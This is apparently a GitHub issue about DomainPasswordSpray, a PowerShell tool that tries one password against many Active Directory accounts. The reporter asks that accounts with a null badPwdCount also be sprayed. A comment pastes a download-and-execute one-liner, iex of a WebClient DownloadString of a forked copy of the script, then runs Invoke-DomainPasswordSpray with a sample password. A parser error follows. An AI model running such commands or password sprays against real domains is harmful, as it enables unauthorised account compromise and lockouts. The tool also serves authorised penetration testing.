Users with badPwdCount = $null are excluded by default
martinsohn opened this issue · 1 comments
DomainPasswordSpray/DomainPasswordSpray.ps1
Line 451 in 45d2524
This causes users that have badPwdCount = $null to be excluded from the password spray.
Is there a reason for this or just a mistake?
Value could for example be $null if:
- User never logged on
- User never typed password wrong
- We have 'deny read' on the attribute
The last one seems a bit dangerous to ignore.
Fix would be to add else statement, where $attemptsuntillockout is still checked but $observation_window is ignored.
`PS C:\Windows\System32\WindowsPowerShell\v1.0> iex ((New-Object System.Net.WebClient).DownloadString('https://raw.github
usercontent.com/bluecurby/DomainPasswordSpray/master/DomainPasswordSpray.ps1')); Invoke-DomainPasswordSpray -Password Zo
mer2023!
iex : At line:467 char:40
if($badcount -eq "null")
~
Missing statement block after if ( condition ).
At line:1 char:1
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercon ...
CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
FullyQualifiedErrorId : MissingStatementBlock,Microsoft.PowerShell.Commands.InvokeExpressionCommand